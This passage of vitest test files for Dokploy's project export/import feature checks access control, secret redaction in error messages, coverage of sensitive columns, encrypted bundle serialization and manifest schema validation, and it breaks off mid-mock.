it("returns NOT_FOUND for a job belonging to another organization", async () => {
const importId = "import-router-3";
createImportJob(importId, "user-1", "org-2");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(caller.importStart({ importId })).rejects.toMatchObject({
code: "NOT_FOUND",
});
});
it("calls validatePlan and rejects with BAD_REQUEST when a check fails", async () => {
const userId = "user-validate-a";
const importId = "import-router-validate-1";
createImportJob(importId, userId, "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
serverMap: {},
target: { kind: "newProject", name: "imported" },
} as any,
});
(validatePlan as any).mockResolvedValueOnce([
{ check: "appName:taken-name", ok: false, detail: "Already in use" },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", userId),
);
await expect(caller.importStart({ importId })).rejects.toMatchObject({
code: "BAD_REQUEST",
});
expect(validatePlan).toHaveBeenCalled();
});
it("proceeds past validation when every check passes", async () => {
const userId = "user-validate-b";
const importId = "import-router-validate-2";
createImportJob(importId, userId, "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
serverMap: {},
target: { kind: "newProject", name: "imported" },
} as any,
});
(validatePlan as any).mockResolvedValueOnce([
{ check: "appName:free-name", ok: true },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", userId),
);
const result = await caller.importStart({ importId });
expect(result).toEqual({ success: true });
});
it("rejects with CONFLICT when the user already has a different transfer active", async () => {
const userId = "user-validate-c";
const busyImportId = "import-router-busy-1";
createImportJob(busyImportId, userId, "org-1");
const importId = "import-router-validate-3";
createImportJob(importId, userId, "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
serverMap: {},
target: { kind: "newProject", name: "imported" },
} as any,
});
(validatePlan as any).mockResolvedValueOnce([
{ check: "appName:free-name", ok: true },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", userId),
);
await expect(caller.importStart({ importId })).rejects.toMatchObject({
code: "CONFLICT",
});
});
it("does not treat the job's own already-active status as a conflict with itself", async () => {
const userId = "user-validate-d";
const importId = "import-router-validate-4";
createImportJob(importId, userId, "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
serverMap: {},
target: { kind: "newProject", name: "imported" },
} as any,
});
(validatePlan as any).mockResolvedValueOnce([
{ check: "appName:free-name", ok: true },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", userId),
);
const result = await caller.importStart({ importId });
expect(result).toEqual({ success: true });
});
it("re-checks target.projectId's org via assertTransferPermission for an existingProject target", async () => {
const userId = "user-validate-e";
const importId = "import-router-validate-5";
createImportJob(importId, userId, "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
serverMap: {},
target: {
kind: "existingProject",
projectId: "project-other-org",
environmentName: "imported",
},
} as any,
});
(validatePlan as any).mockResolvedValueOnce([
{ check: "appName:free-name", ok: true },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", userId),
);
await caller.importStart({ importId }).catch(() => {});
const lastCall = (assertTransferPermission as any).mock.calls.at(-1);
expect(lastCall[1]).toBe("project-other-org");
});
});
describe("projectExportImportRouter.importInspect (T-6.20)", () => {
it("maps UnsupportedBundleVersionError to BAD_REQUEST with its guidance message", async () => {
const importId = "import-router-inspect-1";
createImportJob(importId, "user-1", "org-1");
updateImportJob(importId, {
root: local("/tmp/does-not-matter"),
bundle: local("/tmp/does-not-matter.tar.gz"),
});
(inspectBundle as any).mockRejectedValueOnce(
new UnsupportedBundleVersionError(2, 1),
);
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(caller.importInspect({ importId })).rejects.toMatchObject({
code: "BAD_REQUEST",
message: expect.stringContaining("newer version of Dokploy"),
});
});
});
describe("projectExportImportRouter guards", () => {
it("refuses to start an import that is not in the planned state", async () => {
const importId = "import-router-not-planned";
createImportJob(importId, "user-not-planned", "org-1");
updateImportJob(importId, {
status: "applying",
snapshot: { resources: { services: [] } } as any,
plan: { target: { kind: "newProject", name: "x" } } as any,
});
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-not-planned"),
);
await expect(caller.importStart({ importId })).rejects.toMatchObject({
code: "CONFLICT",
});
});
it("only lets the user who started the import reveal its secrets", async () => {
const importId = "import-router-other-user";
createImportJob(importId, "user-a", "org-1");
updateImportJob(importId, {
status: "unlocked",
snapshot: { resources: { services: [], shared: {} } } as any,
secretsPlain: new Map([["s", "v"]]),
});
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-b"),
);
await expect(
caller.importSecretReveal({ importId, secretId: "s" }),
).rejects.toMatchObject({ code: "FORBIDDEN" });
});
it("restores the original secret when an override is dropped from a later call", async () => {
const importId = "import-router-override-reset";
createImportJob(importId, "user-1", "org-1");
updateImportJob(importId, {
status: "unlocked",
snapshot: {
resources: {
services: [],
shared: {
registry: [{ registryName: "ghcr", password: "$secret:reg-1" }],
},
},
} as any,
secretsPlain: new Map([["reg-1", "original"]]),
});
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await caller.importSecretsOverride({
importId,
overrides: { "reg-1": "replaced" },
});
expect(getImportJob(importId)?.secretsPlain?.get("reg-1")).toBe("replaced");
await caller.importSecretsOverride({ importId, overrides: {} });
expect(getImportJob(importId)?.secretsPlain?.get("reg-1")).toBe("original");
});
it("only deletes objects that look like export bundles", async () => {
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-delete-bundle"),
);
await expect(
caller.deleteRemoteBundle({
destinationId: "dest-1",
key: "backups/production.sql.gz",
}),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
});
it("reports unknown or foreign export ids as errors in exportBatchStatus", async () => {
createExportJob("batch-other-org", "user-1", "org-2");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.exportBatchStatus({ exportIds: ["nope", "batch-other-org"] }),
).resolves.toEqual([
{ exportId: "nope", status: "error", error: "Export not found" },
{
exportId: "batch-other-org",
status: "error",
error: "Export not found",
},
]);
});
it("parses the full organization scope and a bare preview scope with defaults", async () => {
const full = exportScopeSchema.parse({ dumps: { mode: "embed" } });
expect(full).toEqual({
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "embed" },
includeBackupSchedules: true,
});
expect(exportScopeSchema.parse({}).dumps.mode).toBe("none");
});
it("rejects an organization export to a destination the organization does not own", async () => {
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-org-export"),
);
await expect(
caller.exportOrganizationStart({
destinationId: "dest-of-org-2",
passphrase: "a-long-enough-passphrase",
projectIds: ["project-1"],
}),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("rejects exportStart with a destination the organization does not own", async () => {
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-export-dest"),
);
await expect(
caller.exportStart({
projectId: "project-1",
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
passphrase: "a-long-enough-passphrase",
deliver: { kind: "destination", destinationId: "dest-of-org-2" },
}),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
});
describe("projectExportImportRouter.importValidate", () => {
it("rejects with BAD_REQUEST before importPlan ran", async () => {
const importId = "import-router-validate-early";
createImportJob(importId, "user-validate-early", "org-1");
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-validate-early"),
);
await expect(caller.importValidate({ importId })).rejects.toMatchObject({
code: "BAD_REQUEST",
});
});
it("stores the checks on the plan and returns them", async () => {
const importId = "import-router-validate-store";
createImportJob(importId, "user-validate-store", "org-1");
updateImportJob(importId, {
status: "planned",
snapshot: { resources: { services: [] } } as any,
plan: {
target: { kind: "newProject", name: "x" },
validation: [],
} as any,
});
(validatePlan as any).mockReset();
(validatePlan as any).mockResolvedValue([
{ check: "server:local", ok: false, detail: "unreachable" },
]);
const caller = projectExportImportRouter.createCaller(
ctxFor("org-1", "user-validate-store"),
);
const result = await caller.importValidate({ importId });
(validatePlan as any).mockReset();
(validatePlan as any).mockResolvedValue([]);
expect(result.checks).toEqual([
{ check: "server:local", ok: false, detail: "unreachable" },
]);
const status = await caller.importStatus({ importId });
expect(status.plan?.validation).toEqual(result.checks);
});
});
describe("projectExportImportRouter.importUnlock (T-9.6)", () => {
it("rejects a passphrase under 12 characters at the input-validation layer", async () => {
const importId = "import-router-unlock-1";
createImportJob(importId, "user-1", "org-1");
updateImportJob(importId, { workDir: local("/tmp/does-not-matter") });
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.importUnlock({ importId, passphrase: "short" }),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
});
});
describe("projectExportImportRouter.importPlan", () => {
it("rejects with BAD_REQUEST when importUnlock hasn't run yet", async () => {
const importId = "import-router-4";
createImportJob(importId, "user-1", "org-1");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.importPlan({
importId,
target: { kind: "newProject", name: "imported" },
choices: {},
}),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
});
it("passes target.projectId to assertTransferPermission for an existingProject target", async () => {
const importId = "import-router-5";
createImportJob(importId, "user-1", "org-1");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await caller
.importPlan({
importId,
target: {
kind: "existingProject",
projectId: "project-other-org",
environmentName: "imported",
},
choices: {},
})
.catch(() => {});
const lastCall = (assertTransferPermission as any).mock.calls.at(-1);
expect(lastCall[1]).toBe("project-other-org");
});
it("passes undefined projectId to assertTransferPermission for a newProject target", async () => {
const importId = "import-router-6";
createImportJob(importId, "user-1", "org-1");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await caller
.importPlan({
importId,
target: { kind: "newProject", name: "imported" },
choices: {},
})
.catch(() => {});
const lastCall = (assertTransferPermission as any).mock.calls.at(-1);
expect(lastCall[1]).toBeUndefined();
});
it("blocks importing a multi-environment bundle into an existing project that can't fit all of them (T-6.16)", async () => {
const { getCurrentPlan } = await import("@/server/utils/billing");
(getCurrentPlan as any).mockResolvedValueOnce("hobby");
const importId = "import-router-env-limit-1";
createImportJob(importId, "user-1", "org-1");
updateImportJob(importId, {
snapshot: {
resources: { environments: [{}, {}, {}], services: [] },
} as any,
});
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.importPlan({
importId,
target: {
kind: "existingProject",
projectId: "project-1",
environmentName: "imported",
},
choices: {},
}),
).rejects.toMatchObject({ code: "FORBIDDEN" });
});
});
describe("projectExportImportRouter.importCancel", () => {
it("returns NOT_FOUND for an unknown importId", async () => {
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(
caller.importCancel({ importId: "does-not-exist" }),
).rejects.toMatchObject({ code: "NOT_FOUND" });
});
it("maps a still-running import to CONFLICT", async () => {
const importId = "import-cancel-router-1";
createImportJob(importId, "user-1", "org-1");
updateImportJob(importId, { status: "restoring" });
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(caller.importCancel({ importId })).rejects.toMatchObject({
code: "CONFLICT",
});
});
});
describe("projectExportImportRouter.exportCancel (T-6.7)", () => {
it("maps a still-running export to CONFLICT", async () => {
const exportId = "export-cancel-router-1";
const job = createExportJob(exportId, "user-1", "org-1");
job.status = "dumping";
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
await expect(caller.exportCancel({ exportId })).rejects.toMatchObject({
code: "CONFLICT",
});
});
});
describe("projectExportImportRouter *Status permission gating (T-5.2)", () => {
it("exportStatus and importStatus both reject a non-owner/admin with FORBIDDEN", async () => {
const exportId = "export-status-forbidden-1";
createExportJob(exportId, "user-1", "org-1");
const importId = "import-status-forbidden-1";
createImportJob(importId, "user-1", "org-1");
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
const { TRPCError } = await import("@trpc/server");
const forbidden = () =>
new TRPCError({
code: "FORBIDDEN",
message: "Only organization owners and admins can do that",
});
(assertTransferPermission as any).mockRejectedValueOnce(forbidden());
await expect(caller.exportStatus({ exportId })).rejects.toMatchObject({
code: "FORBIDDEN",
});
(assertTransferPermission as any).mockRejectedValueOnce(forbidden());
await expect(caller.importStatus({ importId })).rejects.toMatchObject({
code: "FORBIDDEN",
});
});
it("exportStatus still returns downloadToken to an authorized caller (the UI needs it to build the download link)", async () => {
const exportId = "export-status-token-1";
createExportJob(exportId, "user-1", "org-1");
const { updateExportJob } = await import(
"@dokploy/server/services/project-export-import"
);
updateExportJob(exportId, {
status: "done",
downloadToken: "tok-abc123",
});
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
const result = await caller.exportStatus({ exportId });
expect((result as any).downloadToken).toBe("tok-abc123");
});
});
@@ -0,0 +1,41 @@
import { safeErrorMessage } from "@dokploy/server/services/project-export-import";
import { ExecError } from "@dokploy/server/utils/process/execAsync";
import { describe, expect, it } from "vitest";
describe("safeErrorMessage (T-4.2)", () => {
it("never includes the command (which may embed a plaintext password) for an ExecError", () => {
const error = new ExecError(
"Command execution failed: Command failed: PGPASSWORD=realpassword123 pg_dump -U dokploy mydb",
{
command: "PGPASSWORD=realpassword123 pg_dump -U dokploy mydb",
stderr:
"pg_dump: error: connection failed: FATAL: password authentication failed",
exitCode: 1,
},
);
const message = safeErrorMessage(error);
expect(message).not.toContain("realpassword123");
expect(message).not.toContain("PGPASSWORD");
expect(message).toContain("exit code 1");
expect(message).toContain("password authentication failed");
});
it("falls back to a generic message when an ExecError has no stderr", () => {
const error = new ExecError("Command execution failed", {
command: "PGPASSWORD=secret pg_dump",
});
const message = safeErrorMessage(error);
expect(message).not.toContain("secret");
expect(message).toBe("Command failed");
});
it("passes a plain Error's message through unchanged", () => {
expect(safeErrorMessage(new Error("Service not found"))).toBe(
"Service not found",
);
});
it("stringifies a non-Error thrown value", () => {
expect(safeErrorMessage("boom")).toBe("boom");
});
});
@@ -0,0 +1,189 @@
import {
applications,
backups,
certificates,
compose,
destinations,
dnsProvider,
environments,
libsql,
mariadb,
mongo,
mounts,
mysql,
network,
postgres,
projects,
redis,
registry,
security,
sshKeys,
vaultProvider,
} from "@dokploy/server/db/schema";
import type { ResourceKind } from "@dokploy/server/services/project-export-import";
import {
NEVER_EXPORT_FIELDS,
restoreSecretFields,
SECRET_FIELDS,
stripNeverExport,
} from "@dokploy/server/services/project-export-import";
import { getTableColumns } from "drizzle-orm";
import { describe, expect, it } from "vitest";
const TABLES_WITH_KIND: { table: object; kind: ResourceKind }[] = [
{ table: applications, kind: "application" },
{ table: compose, kind: "compose" },
{ table: environments, kind: "environment" },
{ table: libsql, kind: "libsql" },
{ table: mariadb, kind: "mariadb" },
{ table: mongo, kind: "mongo" },
{ table: mysql, kind: "mysql" },
{ table: postgres, kind: "postgres" },
{ table: projects, kind: "project" },
{ table: redis, kind: "redis" },
];
const ALL_RESOURCE_TABLES: { table: object; kind: ResourceKind }[] = [
...TABLES_WITH_KIND,
{ table: mounts, kind: "mount" },
{ table: security, kind: "security" },
{ table: destinations, kind: "destination" },
{ table: registry, kind: "registry" },
{ table: sshKeys, kind: "sshKey" },
{ table: certificates, kind: "certificate" },
{ table: vaultProvider, kind: "vaultProvider" },
{ table: dnsProvider, kind: "dnsProvider" },
{ table: backups, kind: "backup" },
{ table: network, kind: "network" },
];
const SENSITIVE_NAME = /password|secret|token|privatekey|accesskey|apikey/i;
describe("every sensitive-looking column is covered by SECRET_FIELDS or NEVER_EXPORT_FIELDS", () => {
for (const { table, kind } of ALL_RESOURCE_TABLES) {
it(`covers sensitive-named columns of "${kind}"`, () => {
const columns = getTableColumns(table as any);
const sensitiveFieldNames = Object.keys(columns).filter((name) =>
SENSITIVE_NAME.test(name),
);
const coveredBySecretFields = new Set(
(SECRET_FIELDS[kind] ?? []).map((entry) => entry.field),
);
const coveredByNeverExport = new Set(NEVER_EXPORT_FIELDS[kind] ?? []);
for (const fieldName of sensitiveFieldNames) {
const covered =
coveredBySecretFields.has(fieldName) ||
coveredByNeverExport.has(fieldName);
expect(covered, `${kind}.${fieldName} is not covered`).toBe(true);
}
});
}
});
describe("SECRET_FIELDS covers every encryptedText column", () => {
for (const { table, kind } of TABLES_WITH_KIND) {
it(`covers encrypted columns of "${kind}"`, () => {
const columns = getTableColumns(table as any);
const encryptedFieldNames = Object.entries(columns)
.filter(
([, col]) =>
(col as { columnType: string }).columnType === "PgCustomColumn",
)
.map(([name]) => name);
expect(encryptedFieldNames.length).toBeGreaterThan(0);
const covered = new Set(
(SECRET_FIELDS[kind] ?? []).map((entry) => entry.field),
);
for (const fieldName of encryptedFieldNames) {
expect(covered.has(fieldName)).toBe(true);
}
});
}
});
describe("stripNeverExport", () => {
it("removes NEVER_EXPORT_FIELDS for the given kind", () => {
const row = {
applicationId: "a1",
serverId: "s1",
buildServerId: "s2",
refreshToken: "tok",
githubId: "gh1",
createdAt: "2024-01-01",
name: "app",
};
const stripped = stripNeverExport("application", row);
expect(stripped).not.toHaveProperty("serverId");
expect(stripped).not.toHaveProperty("buildServerId");
expect(stripped).not.toHaveProperty("refreshToken");
expect(stripped).not.toHaveProperty("githubId");
expect(stripped).not.toHaveProperty("createdAt");
expect(stripped.applicationId).toBe("a1");
expect(stripped.name).toBe("app");
});
it("does not mutate the original row", () => {
const row = { serverId: "s1", name: "app" };
stripNeverExport("postgres", row);
expect(row).toHaveProperty("serverId");
});
it("is a no-op for a kind with no NEVER_EXPORT_FIELDS entry", () => {
const row = { name: "unmapped" };
// @ts-expect-error deliberately invalid kind, to check the fallback path
const stripped = stripNeverExport("notAKind", row);
expect(stripped).toEqual(row);
});
it("every ResourceKind used in NEVER_EXPORT_FIELDS strips createdAt", () => {
for (const kind of Object.keys(NEVER_EXPORT_FIELDS) as ResourceKind[]) {
const stripped = stripNeverExport(kind, { createdAt: "x", id: "1" });
expect(stripped).not.toHaveProperty("createdAt");
}
});
});
const SAFE_JSONB_COLUMNS = new Set(["compose.serviceNetworks", "network.ipam"]);
describe("every jsonb column is covered or explicitly allowlisted as safe", () => {
for (const { table, kind } of ALL_RESOURCE_TABLES) {
it(`checks jsonb columns of "${kind}"`, () => {
const columns = getTableColumns(table as any);
const jsonbFieldNames = Object.entries(columns)
.filter(
([, col]) => (col as { columnType: string }).columnType === "PgJsonb",
)
.map(([name]) => name);
const coveredBySecretFields = new Set(
(SECRET_FIELDS[kind] ?? []).map((entry) => entry.field),
);
const coveredByNeverExport = new Set(NEVER_EXPORT_FIELDS[kind] ?? []);
for (const fieldName of jsonbFieldNames) {
const covered =
coveredBySecretFields.has(fieldName) ||
coveredByNeverExport.has(fieldName) ||
SAFE_JSONB_COLUMNS.has(`${kind}.${fieldName}`);
expect(
covered,
`${kind}.${fieldName} is not covered or allowlisted`,
).toBe(true);
}
});
}
});
describe("restoreSecretFields / CRLF env files (T-11.5)", () => {
it("resolves a $secret: reference even when the env file uses CRLF line endings", () => {
const secretsPlain = new Map([["secret-uuid-1", "realpassword"]]);
const row = {
env: "DB_PASS=$secret:secret-uuid-1\r\nOTHER=plain\r\n",
};
const result = restoreSecretFields("application", row, secretsPlain);
expect(result.env).toBe("DB_PASS=realpassword\nOTHER=plain\n");
});
});
@@ -0,0 +1,53 @@
import type { Snapshot } from "@dokploy/server/services/project-export-import";
import { listReviewableSecrets } from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const snapshot = {
resources: {
project: {},
environments: [],
services: [
{
kind: "application",
applicationId: "app-1",
name: "web",
security: [
{ username: "admin", password: "$secret:sec-1" },
{ username: "plain", password: "not-a-ref" },
],
},
{ kind: "postgres", postgresId: "pg-1", databasePassword: "$secret:pg" },
],
shared: {
registry: [{ registryName: "ghcr", password: "$secret:reg-1" }],
destination: [
{
name: "backups",
accessKey: "$secret:ak-1",
secretAccessKey: "$secret:sk-1",
},
],
sshKey: [{ name: "deploy", privateKey: "$secret:ssh-1" }],
certificate: [{ name: "wildcard", privateKey: "$secret:cert-1" }],
},
},
} as unknown as Snapshot;
describe("listReviewableSecrets", () => {
it("lists external credentials by secret ref, skipping database passwords and non-refs", () => {
const entries = listReviewableSecrets(snapshot);
expect(
entries.map((e) => [e.kind, e.resource, e.field, e.secretId]),
).toEqual([
["basicAuth", "web · admin", "password", "sec-1"],
["registry", "ghcr", "password", "reg-1"],
["destination", "backups", "accessKey", "ak-1"],
["destination", "backups", "secretAccessKey", "sk-1"],
["sshKey", "deploy", "privateKey", "ssh-1"],
["certificate", "wildcard", "privateKey", "cert-1"],
]);
expect(entries.filter((e) => e.generatable).map((e) => e.kind)).toEqual([
"basicAuth",
]);
});
});
@@ -0,0 +1,187 @@
import { createReadStream, createWriteStream, existsSync } from "node:fs";
import {
mkdir,
mkdtemp,
readdir,
readFile,
rm,
writeFile,
} from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { pipeline } from "node:stream/promises";
import type { SerializeInput } from "@dokploy/server/services/project-export-import";
import {
deriveKeys,
gcmDecryptStream,
serialize,
} from "@dokploy/server/services/project-export-import";
import { execAsync } from "@dokploy/server/utils/process/execAsync";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const PASSPHRASE = "correct-horse-battery-staple";
let workDir: string;
let outDir: string;
beforeEach(async () => {
workDir = await mkdtemp(join(tmpdir(), "transfer-serialize-work-"));
outDir = await mkdtemp(join(tmpdir(), "transfer-serialize-out-"));
});
afterEach(async () => {
await rm(workDir, { recursive: true, force: true });
await rm(outDir, { recursive: true, force: true });
});
const baseInput: SerializeInput = {
resources: {
project: { projectId: "project-1", name: "my-project" },
environments: [{ environmentId: "env-1", name: "production" }],
services: [
{
kind: "postgres",
postgresId: "pg-1",
name: "pg-1",
databasePassword: "$secret:11111111-1111-1111-1111-111111111111",
},
],
shared: {},
},
inventory: {
project: { name: "my-project", environments: 1 },
environments: [
{ id: "env-1", name: "production", services: { postgres: 1 } },
],
totals: { postgres: 1 },
estimatedDumpBytes: 0,
estimatedFilesBytes: 0,
images: [],
},
requirements: [],
warnings: [],
dumps: [
{
serviceId: "pg-1",
serviceType: "postgres",
mode: "embed",
ext: "sql.gz",
path: "dumps/pg-1.sql.gz",
bytes: 15,
},
],
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
organizationId: "org-1",
dokployVersion: "1.0.0-test",
exportedBy: { userId: "user-1", email: "a@b.com" },
};
const secretsPlain = new Map([
["11111111-1111-1111-1111-111111111111", "realdbpassword"],
]);
describe("serialize", () => {
it("keeps only the public files in clear and encrypts everything else", async () => {
await mkdir(join(workDir, "dumps"), { recursive: true });
await writeFile(join(workDir, "dumps", "pg-1.sql.gz"), "fake-dump-bytes");
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
await serialize(
baseInput,
secretsPlain,
PASSPHRASE,
local(workDir),
local(bundlePath),
);
expect(existsSync(bundlePath)).toBe(true);
expect(existsSync(workDir)).toBe(false);
const { stdout: members } = await execAsync(`tar -tzf "${bundlePath}"`);
expect(members.split("\n")[0]).toBe("manifest.json");
const extractDir = join(outDir, "extracted");
await mkdir(extractDir, { recursive: true });
await execAsync(`tar -xzf "${bundlePath}" -C "${extractDir}"`);
expect((await readdir(extractDir)).sort()).toEqual([
"inventory.json",
"manifest.json",
"payload.enc",
"requirements.json",
"warnings.json",
]);
const outerBytes = await readFile(join(extractDir, "payload.enc"));
expect(outerBytes.includes("realdbpassword")).toBe(false);
expect(outerBytes.includes("fake-dump-bytes")).toBe(false);
const manifest = JSON.parse(
await readFile(join(extractDir, "manifest.json"), "utf8"),
);
const { kEnc } = await deriveKeys(PASSPHRASE, manifest.crypto.salt);
const payloadDir = join(outDir, "payload");
await mkdir(payloadDir, { recursive: true });
await pipeline(
createReadStream(join(extractDir, "payload.enc")),
gcmDecryptStream(kEnc),
createWriteStream(join(outDir, "payload.tar.gz")),
);
await execAsync(
`tar -xzf "${join(outDir, "payload.tar.gz")}" -C "${payloadDir}"`,
);
const servicesJson = await readFile(
join(payloadDir, "resources", "services.json"),
"utf8",
);
expect(servicesJson).not.toContain("realdbpassword");
expect(servicesJson).toContain(
"$secret:11111111-1111-1111-1111-111111111111",
);
expect(
await readFile(join(payloadDir, "dumps", "pg-1.sql.gz"), "utf8"),
).toBe("fake-dump-bytes");
const secrets = JSON.parse(
await readFile(join(payloadDir, "secrets.json"), "utf8"),
);
expect(secrets["11111111-1111-1111-1111-111111111111"]).toBe(
"realdbpassword",
);
});
it("removes workDir even when writing fails", async () => {
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
const badInput: SerializeInput = {
...baseInput,
resources: {
...baseInput.resources,
project: { self: undefined as unknown },
},
};
(badInput.resources.project as Record<string, unknown>).self =
badInput.resources.project;
await expect(
serialize(
badInput,
secretsPlain,
PASSPHRASE,
local(workDir),
local(bundlePath),
),
).rejects.toThrow();
expect(existsSync(workDir)).toBe(false);
});
});
@@ -0,0 +1,116 @@
import { serviceType } from "@dokploy/server/db/schema";
import {
manifestSchema,
requirementSchema,
serviceTypeSchema,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const validManifest = {
format: "dokploy-project-export",
formatVersion: 1,
exportedAt: new Date().toISOString(),
exportedBy: { userId: "user-1", email: "a@b.com" },
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-1" },
scope: {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
crypto: {
salt: "c2FsdA==",
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
keyCheck: "a2V5Y2hlY2s=",
},
counts: { application: 1 },
};
describe("transfer types", () => {
it("accepts a valid manifest", () => {
expect(manifestSchema.safeParse(validManifest).success).toBe(true);
});
it("accepts a structurally-valid manifest with a future formatVersion (rejecting it is migrateManifest's job, not the schema's)", () => {
const result = manifestSchema.safeParse({
...validManifest,
formatVersion: 2,
});
expect(result.success).toBe(true);
});
it("rejects a formatVersion that isn't a positive integer", () => {
expect(
manifestSchema.safeParse({ ...validManifest, formatVersion: 0 }).success,
).toBe(false);
expect(
manifestSchema.safeParse({ ...validManifest, formatVersion: 1.5 })
.success,
).toBe(false);
});
it("rejects a Requirement with an unknown kind", () => {
const result = requirementSchema.safeParse({
kind: "unknownKind",
originalId: null,
configIncluded: false,
usedBy: [],
});
expect(result.success).toBe(false);
});
it("accepts every real Requirement kind with its shape", () => {
const base = { originalId: "id-1", configIncluded: true, usedBy: [] };
const cases = [
{
...base,
kind: "vault",
providerName: "prod",
providerType: "hashicorp",
secretKeys: ["DB_PASS"],
},
{
...base,
kind: "gitProvider",
providerType: "github",
repositories: [{ owner: "acme", repo: "app" }],
},
{
...base,
kind: "destination",
bucket: "b",
endpoint: "e",
region: "r",
},
{
...base,
kind: "registry",
registryUrl: "r",
imagePrefix: "p",
role: ["registry"],
},
{ ...base, kind: "sshKey", publicKey: "ssh-ed25519 AAAA" },
{ ...base, kind: "network", name: "net" },
{ ...base, kind: "certificate", fingerprint: "abc123", serverId: null },
{ ...base, kind: "server", originalId: null, serverId: null },
];
for (const testCase of cases) {
expect(
requirementSchema.safeParse(testCase).success,
`kind ${testCase.kind} should be valid`,
).toBe(true);
}
});
it("keeps serviceTypeSchema in sync with the serviceType DB enum", () => {
expect([...serviceTypeSchema.options].sort()).toEqual(
[...serviceType.enumValues].sort(),
);
});
});
@@ -0,0 +1,411 @@
import { existsSync } from "node:fs";
import { mkdtemp, readFile, rm } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { PassThrough } from "node:stream";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
let sessionToReturn: {
session: { activeOrganizationId: string } | null;
user: { id: string } | null;
} = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
let transferPathToReturn = "";
vi.mock("@dokploy/server/lib/auth", () => ({
validateRequest: vi.fn(() => Promise.resolve(sessionToReturn)),
}));
const { maxUploadBytesBox, remoteBox } = vi.hoisted(() => ({
maxUploadBytesBox: { value: 10 * 1024 * 1024 * 1024 },
remoteBox: {
commands: [] as string[],
received: [] as Buffer[],
stdin: undefined as undefined | { destroyed: boolean },
exitCode: null as number | null,
},
}));
vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/execAsync")
>();
return {
...actual,
execAsyncRemote: vi.fn(async () => ({ stdout: "", stderr: "" })),
};
});
vi.mock(
"@dokploy/server/utils/process/remoteStream",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/remoteStream")
>();
const { PassThrough: Pass } = await import("node:stream");
return {
...actual,
openProcessStream: async (serverId: string | null, command: string) => {
if (!serverId) return actual.openProcessStream(serverId, command);
remoteBox.commands.push(command);
const stdin = new Pass();
const stdout = new Pass();
const stderr = new Pass();
remoteBox.stdin = stdin;
stdin.on("data", (chunk: Buffer) => remoteBox.received.push(chunk));
const failWith = remoteBox.exitCode;
const exit =
failWith === null
? new Promise<number>((resolve) => {
stdin.on("finish", () => resolve(0));
stdin.on("close", () => resolve(0));
})
: Promise.resolve(failWith);
return {
stdin,
stdout,
stderr,
exit,
close: () => stdin.destroy(),
};
},
};
},
);
vi.mock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
return {
...actual,
